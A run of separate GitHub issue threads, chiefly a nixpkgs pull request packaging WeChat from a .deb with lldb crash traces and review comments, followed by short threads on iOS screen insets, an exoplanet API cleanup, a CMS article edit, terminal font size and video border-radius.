[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Details about the segfault:
$ lldb ./result/bin/wechat
(lldb) target create "./result/bin/wechat"
Current executable set to '/home/leah/coding/nixpkgs/result/bin/wechat' (x86_64).
(lldb) run
Process 103844 launched: '/home/leah/coding/nixpkgs/result/bin/wechat' (x86_64)
Process 103844 stopped
* thread #43, name = 'mmui::utility::', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x10)
    frame #0: 0x000055555e510008 wechat`___lldb_unnamed_symbol227806 + 232
wechat`___lldb_unnamed_symbol227806:
->  0x55555e510008 <+232>: movq   0x10(%rax), %rdx
    0x55555e51000c <+236>: addq   %rax, %rdx
    0x55555e51000f <+239>: movl   0x4(%rax), %eax
    0x55555e510012 <+242>: orq    %rax, %rbx

Currently segfaults and I have no idea why :(

Is it the same problem as #327860? Try the fix in #335658.

By the way, we may also support loongarch64-linux since you are using the deb as the source.

By the way, we may also support loongarch64-linux since you are using the deb as the source.

Does Nixpkgs even have loongarch support, like, at all...?

Appears so.

Currently segfaults and I have no idea why :(

Is it the same problem as #327860? Try the fix in #335658.

I tried adding the fix but it doesn't seem to work — looking at the stacktrace the SIGSEGV appears to be caused by something else

Someone wrote this.

作者：astrojhgu
链接：https://www.zhihu.com/question/3360014967/answer/26535041734
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

{ makeWrapper, xorg, gcc, fontconfig, libxml2, stdenv, lib, dpkg
, autoPatchelfHook, qt5, libGL, libsForQt5, zlib, nss, nspr, bzip2, libxkbcommon
, glib, dbus, atk, mesa, libdrm, expat, pango, cairo, alsa-lib }:
let
  libPath = lib.makeLibraryPath ([
    pango.out
    xorg.libxcb
    xorg.libXcomposite
    xorg.libXrender
    xorg.libXrandr
    xorg.xcbutilwm.out
    xorg.xcbutilimage.out
    xorg.xcbutilrenderutil.out
    xorg.xcbutilkeysyms.out
    xorg.libX11.out
    xorg.libXdamage.out
    xorg.libXext.out
    xorg.libXfixes.out
    mesa.out
    libGL.out
    alsa-lib.out
    libdrm.out
    cairo.out
    expat.out
    fontconfig.lib
    dbus.lib
    nss.out
    nspr.out
    bzip2.out
    zlib.out
    libxkbcommon.out
    glib
    atk.out
    (lib.getLib gcc.cc)
  ]);

in stdenv.mkDerivation {
  name = "wechat";
  pname = "wechat";
  version = "4.0";
  outputs = [ "out" ];

  src = /etc/nixos/pkgs/wechat/WeChatLinux_x86_64.deb;

  phases = [ "unpackPhase" "installPhase" "fixupPhase" ];

  buildInputs = [
    dpkg
    xorg.libX11.out
    xorg.libXScrnSaver
    xorg.libXft.out
    (lib.getLib gcc.cc)
    fontconfig.lib
    libxml2.out
  ];

  nativeBuildInputs = [ autoPatchelfHook makeWrapper ];

  unpackPhage = ''
    dpkg -x $src ./wechat
  '';

  installPhase = ''
    runHook preInstall
    mkdir -p $out $out/bin
    cp -r ./* $out/
    runHook postInstall
  '';

  fixupPhase = ''

            #patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
            patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
              --set-rpath $out/opt/wechat:${libPath} $out/opt/wechat/wechat

    	  makeWrapper $out/opt/wechat/wechat $out/bin/wechat --prefix LD_LIBRARY_PATH : $out/opt/wechat:${libPath}

  '';
}

Still segfaults but fortunately at a different location now:
(lldb) target create "./result/bin/wechat"
Current executable set to '/home/leah/coding/nixpkgs/result/bin/wechat' (x86_64).
(lldb) run
Process 1091167 launched: '/home/leah/coding/nixpkgs/result/bin/wechat' (x86_64)
Process 1091167 stopped
* thread #1, name = 'wechat', stop reason = exec
    frame #0: 0x00007ffff7fe2840 ld-linux-x86-64.so.2`_start
ld-linux-x86-64.so.2`_start:
->  0x7ffff7fe2840 <+0>: movq   %rsp, %rdi
    0x7ffff7fe2843 <+3>: callq  0x7ffff7fe3520 ; _dl_start

ld-linux-x86-64.so.2`_dl_start_user:
    0x7ffff7fe2848 <+0>: movq   %rax, %r12
    0x7ffff7fe284b <+3>: movq   %rsp, %r13

I think I am colossally stupid and the previous fix actually works now somehow

Now that both this PR and #354355 are working we have to pick one to go ahead — IMO working with .debs is more convenient than unpacking AppImages (and it also allows us to support Loongarch), and the overall deriv is much simpler this way

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/4819

nixpkgs-review with lix somehow gets me:
          109|   installPhase =
             |   ^
          110|     ''

       error: cannot coerce a list to a string

Use lib.optionalString instead.

$ results/wechat-x86_64-linux/bin/wechat
[1]    2181620 IOT instruction (core dumped)  results/wechat-x86_64-linux/bin/wechat

:crying_cat_face:

$ results/wechat-x86_64-linux/bin/wechat
[1]    2181620 IOT instruction (core dumped)  results/wechat-x86_64-linux/bin/wechat

😿

Can you run lldb? I've been using it for a few days now locally and it hasn't crashed on me yet 🤔

It doesn't crash, but has other problems.

It forces the mouse cursor style. This problem doesn't appear in wechat-uos or #354355.
Browser windows cannot open. This problem also appears in #354355, but not in wechat-uos.

hm, i may not be sufficiently familiar with lldb:
$ results/wechat-x86_64-linux/bin/wechat                  review-shell
[1]    2457353 IOT instruction (core dumped)  results/wechat-x86_64-linux/bin/wechat
$ lldb results/wechat-x86_64-linux/bin/wechat             review-shell
(lldb) target create "results/wechat-x86_64-linux/bin/wechat"
Current executable set to '/home/kiara/.cache/nixpkgs-review/pr-354332-1/results/wechat-x86_64-linux/bin/wechat' (x86_64).
(lldb) run
Process 2457575 launched: '/home/kiara/.cache/nixpkgs-review/pr-354332-1/results/wechat-x86_64-linux/bin/wechat' (x86_64)
Process 2457575 stopped
* thread #1, name = '.wechat-wrapped', stop reason = exec
    frame #0: 0x00007ffff7fe2840 ld-linux-x86-64.so.2`_start
ld-linux-x86-64.so.2`_start:
->  0x7ffff7fe2840 <+0>: movq   %rsp, %rdi
    0x7ffff7fe2843 <+3>: callq  0x7ffff7fe3520            ; _dl_start

ld-linux-x86-64.so.2`_dl_start_user:
    0x7ffff7fe2848 <+0>: movq   %rax, %r12
    0x7ffff7fe284b <+3>: movq   %rsp, %r13
(lldb) run
There is a running process, kill it and restart?: [Y/n] n
(lldb) continue
Process 2457575 resuming
Process 2457575 stopped
* thread #1, name = '.wechat-wrapped', stop reason = signal SIGABRT
    frame #0: 0x00007ffff6ca11fc libc.so.6`__pthread_kill_implementation + 268
libc.so.6`__pthread_kill_implementation:
->  0x7ffff6ca11fc <+268>: movl   %eax, %ebx
    0x7ffff6ca11fe <+270>: negl   %ebx
    0x7ffff6ca1200 <+272>: cmpl   $0xfffff000, %eax         ; imm = 0xFFFFF000
    0x7ffff6ca1205 <+277>: movl   $0x0, %eax
(lldb) continue
Process 2457575 resuming
Process 2457575 exited with status = -1 (0xffffffff) lost connection
(lldb) continue
error: Process must be launched.


RecentDmConversationsPage: Breaks with nonzero horizontal device insets

Such as on an iPhone 15 Pro in landscape mode. Seen here in a simulator, with the not-yet-merged unread counts from #334. I'm long-pressing to show how the row responds:

Labeling "a-design" because I'm not sure how best to handle device insets for screen content like this.
cc @alya @terpimost
I see basically two approaches to solve this. (In these screenshots I'm also long-pressing a row; not sure why I don't get the circle these times.)

Have each row extend out to the edge of the screen and pad the insets; something like this:

Add a container around the whole list and have it pad the insets; something like this:

A note about the screenshots in my previous message. On the side opposite the iPhone's black oval (for the camera), there's maybe more space than seems necessary. But that's just what happens when we faithfully follow the measurements iOS gives us for the horizontal insets. (Maybe they want to reserve so much room because of the large border radius on the corners of the screen itself.)

Good question. My inclination would be for option 2. Is there another app or two where you can conveniently provoke the same situation and see how they handle it?

Gmail on iPhone is mixed; here are some screenshots. Unfortunately you'll have to imagine my phone's rounded corners and the camera notch, which don't show up in its take-a-screenshot feature. This is on my iPhone 13 Pro.
They do option 1:

They do option 2:

And they do a better (I think) version of option 2 where the area covered by the ink effect is also visible when you're not pressing a row, as a nice surface with rounded corners:

Wikipedia on iPhone—in lists like these—seems to prefer option 1 consistently. It has some bugs where some content fails to position outside the insets:

(see "Add another language", and the line under it, are outside the safe area)

Cool, thanks. I guess those are inconclusive, then, and I'd still incline toward option 2 pending input from @terpimost.

version of option 2 where the area covered by the ink effect is also visible when you're not pressing a row, as a nice surface with rounded corners:

I think this works well in that settings screen, where there's several sections and they each have a heading above them. On this screen, though, I think the rounded effect would look odd at the top and bottom of the list.

In my design buttons have rounding corners, and there is always a gap between edge of a screen, so in cases when you have safe area it shouldn't be a problem... I do suggest to don't support landscape mode.
I don't assume we have material UI components and their tap animations... I suggest to not bring it to iOS version at least.
I think it is ok to darken the hit area or a button on tap. We can also scale down the button a bit as a default option. It is also ok to not bother for the smaller elements which user might not even see under the finger.

I don't assume we have material UI components and their tap animations... I suggest to not bring it to iOS version at least.

Cool, I've filed #417 for that. I've milestoned it for Beta 3, i.e. for the first beta that goes to a wider audience beyond chat.zulip.org.

I do suggest to don't support landscape mode.

(This now has a chat thread, following discussion on the PR #413.)


clean up the way the Exoplanet Archive API is accessed

Add flexibility for different populations/subsets.
Consider including non-transiting exoplanets?

I think it's fair to say that we've solved whatever very old problem this was with #50. As of version 0.4.0, we're now using the Exoplanet Archive TAP API to get both the ps and pscomppars tables, and we can even do a little bit of cleverness with update_references to pull individual systems and/or studies from the massive ps table into our succinct one-row-per-planet pscomppars-based Exoplanets population.


Update Articles “katy-tx-2002-gulfmont-dr”

Automatically generated by Decap CMS

Please add a citation for the arcade games. Also remove the Note at the top of the table and fix a few spelling errors and I'll merge this in.

Please add a citation for the arcade games. Also remove the Note at the top of the table and fix a few spelling errors and I'll merge this in.

example of citation for the arcade games please, and give me all of spelling errors so i can fix them all.

Did It.


Option for font size?

It would be nice if we could choose the font size for the terminals.

The terminal should match Atom's font size. I can include a font size override in the settings though.

The difference between the terminal and editors was the font family, and it made the terminal appear larger. I think it would be good to have a customizable size.

Noted. Expect it in the next release.

Resolved by v0.14.4. Please remember to close this thread if your issue has been resolved.

:cake:


Round corners

Hello all! How i can make round corners, video?
css property border-radius, not working...
I add this proprty to all elements with overflow:hidden, without them, and nothing.

Currently not possible with this plugin untill we get #86 merged in, which will use TextureViews and adds the possibility to use border-radius.